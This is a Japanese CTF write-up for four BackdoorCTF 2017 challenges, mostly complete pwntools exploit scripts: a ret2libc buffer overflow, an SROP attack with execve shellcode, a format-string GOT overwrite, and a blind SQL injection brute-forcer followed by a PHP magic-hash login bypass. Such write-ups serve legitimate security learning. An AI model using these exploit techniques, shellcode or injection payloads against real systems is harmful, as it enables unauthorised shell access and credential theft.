BackdoorCTF 2017 writeup


<a name="JUST-DO-IT"></a>
## JUST-DO-IT

libcとバイナリが配られる

fileコマンド結果

```sh
root@ubuntu:~/pwn/backdoorctf/just-do-it# file 32_chal 
32_chal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=44cdbea7d171ee34f7089bf99cff53b0d71ef1ba, not stripped
```

checksec結果

```sh
root@ubuntu:~/pwn/backdoorctf/just-do-it# checksec 32_chal 
[*] '/home/no1zy/pwn/backdoorctf/just-do-it/32_chal'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

自明なBOFがあるのでやるだけ

```python
#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

RHOST = "163.172.176.29"
RPORT = 9036
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = '32_chal'
libc = ELF('libc.so.6')
elf = ELF(BINARY)

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        #set environment LD_PRELOAD=libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug([BINARY], execute=execute)
    elif sys.argv[1] == 'a':
        conn = remote(LHOST, LPORT)
        f = open("cmd", "r")
        time.sleep(0.5)
        pid = proc.pid_by_name(BINARY)
        gdb.attach(pid[0], f)
else:
    #conn = process([BINARY])
     conn = process([BINARY], env={'LD_PRELOAD': 'libc.so.6'})

sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
dup2_execve32 = "\x31\xd2\x31\xc9\x8d\x5a\x04\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
dup2_execve64 = "\x31\xd2\x31\xf6\x67\x8d\x7a\x04\x67\x8d\x42\x21\x0f\x05\xff\xc6\x67\x8d\x42\x21\x0f\x05\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
log.info('Pwning')
got_write = elf.got['write']
write = elf.plt['write']
main = elf.symbols['main']
offset_write = libc.symbols['write']
system = libc.symbols['system']
binsh = next(libc.search("/bin/sh"))

payload = 'a' * 112
payload += p32(write)
payload += p32(0x0804853d) # pop3
payload += p32(1)
payload += p32(got_write)
payload += p32(4)
payload += p32(main)

conn.sendlineafter('Hello pwners,', payload)
conn.recvuntil('\n')
line = conn.recvuntil('H')

libc_write = u32(line[1:5])
libc_base = libc_write - offset_write

payload = 'a' * 0x68
payload += p32(system + libc_base)
payload += 'AAAA'
payload += p32(binsh + libc_base)

conn.sendlineafter('pwners,', payload)
conn.interactive()
```
```
flag{all_th3_b35t_y0u_successfully_started_s0lving_:P}
```
<a name="FUNSIGNALS"></a>
## FUNSIGNALS
SROPする問題

fileコマンド結果

```sh
root@ubuntu:~/pwn/backdoorctf/fun# file player_bin 
player_bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
```

checksec結果

```sh
root@ubuntu:~/pwn/backdoorctf/fun# checksec player_bin 
[*] '/home/no1zy/pwn/backdoorctf/fun/player_bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments
```

readelf結果

```sh
root@ubuntu:~/pwn/backdoorctf/fun# readelf -S player_bin 
5 個のセクションヘッダ、始点オフセット 0x11b0:

セクションヘッダ:
  [番] 名前              タイプ           アドレス          オフセット
       サイズ            EntSize          フラグ Link  情報  整列
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .shellcode        PROGBITS         0000000010000000  00001000
       000000000000004b  0000000000000000 WAX       0     0     1
  [ 2] .shstrtab         STRTAB           0000000000000000  00001188
       0000000000000026  0000000000000000           0     0     1
  [ 3] .symtab           SYMTAB           0000000000000000  00001050
       00000000000000f0  0000000000000018           4     5     8
  [ 4] .strtab           STRTAB           0000000000000000  00001140
       0000000000000048  0000000000000000           0     0     1
フラグのキー:
  W (write), A (alloc), X (実行), M (merge), S (文字列), l (large)
  I (情報), L (リンク順), G (グループ), T (TLS), E (排他), x (不明)
  O (追加の OS 処理が必要) o (OS 固有), p (プロセッサ固有)
```
.shellcodeセクションにshellcodeを置いてそこに飛ばせばいけそう。

### 方針
一回目にreadを呼び出しshellcodeセクションにshellcodeを置いて、ripをsigreturnが呼び出されるsyscallのもう一つ前のsyscall命令のアドレスに設定する
つぎのsigreturnでripをshellcodeセクションの先頭に設定する。

### exploit

```python
#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug'

RHOST = "163.172.176.29"
RPORT = 9034
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = 'player_bin'
# libc = ELF('None')
elf = ELF(BINARY)

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'a':
        conn = remote(LHOST, LPORT)
        f = open("cmd", "r")
        time.sleep(0.5)
        pid = proc.pid_by_name(BINARY)
        gdb.attach(pid[0], f)
else:
    conn = process([BINARY])

shellcode32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
log.info('Start exploit')
bss = section_addr('.shellcode')

stack_size = 0x400
base_stage = bss + stack_size

payload1 = 'AAAAAAAA' * 5
payload1 += p64(0) * 8              # r8-r15
payload1 += p64(0)                  # rdi
payload1 += p64(base_stage)         # rsi
payload1 += p64(0)                  # rbp
payload1 += p64(0)                  # rbx
payload1 += p64(999)                # rdx
payload1 += p64(0)                  # rax
payload1 += p64(0)                  # rcx
payload1 += p64(base_stage)         # rsp
payload1 += p64(0x10000002)         # rip
payload1 += p64(0)                  # eflags
payload1 += p64(0x33)               # csgsfs
payload1 += 'AAAAAAAA' * 4
payload1 += p64(0)                  # &fpstate

payload2 = shellcode64
payload2 += 'A' * (40 - len(shellcode64))
payload2 += p64(0) * 8              # r8-r15
payload2 += p64(0)                  # rdi
payload2 += p64(0)                  # rsi
payload2 += p64(0)                  # rbp
payload2 += p64(0)                  # rbx
payload2 += p64(0)                  # rdx
payload2 += p64(0)                  # rax
payload2 += p64(0)                  # rcx
payload2 += p64(base_stage)         # rsp
payload2 += p64(base_stage)         # rip
payload2 += p64(0)                  # eflags
payload2 += p64(0x33)               # csgsfs
payload2 += 'AAAAAAAA' * 4
payload2 += p64(0)                  # &fpstate

conn.send(payload1)
time.sleep(3)
conn.send(payload2)
conn.interactive()
```
shellを取った後は問題バイナリの中にflagが隠されているので
`strings server_bin`
でflagを入手する。
`flag{W3lc0m3_T0_th3_n3w_w0rld_OF_S1gn4l5}`

SROP参考資料
http://inaz2.hatenablog.com/entry/2014/07/30/021123

<a name="BABY-0x41414141"></a>
## BABY-0x41414141
自明なFSBがある

fileコマンド結果

```sh
root@ubuntu:~/pwn/backdoorctf/baby-0x41414141# file 32_new 
32_new: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=da5e14c668579652906e8dd34223b8b5aa3becf8, not stripped
```
checksec結果

```sh
root@ubuntu:~/pwn/backdoorctf/baby-0x41414141# checksec 32_new 
[*] '/home/no1zy/pwn/backdoorctf/baby-0x41414141/32_new'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```
flag.txtをcatする関数があるのでGOT Overwriteでexit関数をそこに書き換えるだけ
### exploit

```python
#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

RHOST = "163.172.176.29"
RPORT = 9035
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = '32_new'
# libc = ELF('None')
elf = ELF(BINARY)

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'a':
        conn = remote(LHOST, LPORT)
        f = open("cmd", "r")
        time.sleep(0.5)
        pid = proc.pid_by_name(BINARY)
        gdb.attach(pid[0], f)
else:
    conn = process([BINARY])

shellcode32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
log.info('Start exploit')
flag = elf.symbols['_Z4flagv']  #0x804870b
exit = elf.got['exit']

fmt = {
   exit : flag,
}

conn.sendlineafter('whats your name?', fmtstr_payload(10, fmt, len('Ok cool, soon we will know whether you pwned it or not. Till then Bye ')))

conn.interactive()

```
```
flag{hey_c0ngr4ts_Y0u_pwn3d_1t_y0u_4r3_n0_l0ng3r_a_b4by}
```
<a name="THE-WALL"></a>
## THE-WALL

blindSQLiする問題
tableの構造

```sql
CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)
```

passwordはmd5でhash化される

```php
$password = md5($password);
```
union と | が使えない

```php
if(preg_match('/(union|\|)/i', $username))
```
serverで実行されるSQL

```php
$query = "SELECT * FROM users WHERE username='$username'";
```
認証部分

```php
if($users) {
        if($password == $users['password']){
            if($users['role']=="admin"){
                echo "Here is your flag: $flag";
            }elseif($users['role']=="normal"){
                $message = "Welcome, ".$users['users']."</br>";
                $message.= "Unfortunately, only Lord Commander can access flag";
            }else{
                $message = "What did you do?";
            }
        }
        else{
            $message = "Wrong identity for : ".$users['username'];
        }
    }
    else{
        $message = "No such person exists"."<br>";
    }
```
roleがadminのuserのパスワードがわかればいい感じにいけそう

```python
import requests

url = 'http://163.172.176.29/WALL/index.php'
password = ''

for i in range(1,33):
    for char in range(48, 91):
        if chr(char) == '%' or chr(char) == '_':
            continue 
        payload = {
            'life' : "' or role = 'admin' AND password like '{0}%' -- ".format(password + chr(char)),
            'soul' : 'aaaa',
        }
  
        r = requests.post(url, data=payload)
        if r.text.find('LordCommander') is not -1:
            password += chr(char).lower()
            print('Hit: {0}'.format(password))
            break
print(password)
```
結果

```
0e565041023046045310587974628079
```

md5のハッシュ値が0eから始まっていて

```php
if($password == $users['password'])
```
passwordの比較が甘いのでmagic hashの脆弱性に繋がる
https://www.whitehatsec.com/blog/magic-hashes/

usernameとpasswordに`
LordCommander
240610708`
を入力して送信すればflagを得られる。
`CTF{type_juggling_and_blind_sql_are_worth_a_fun_240610708}`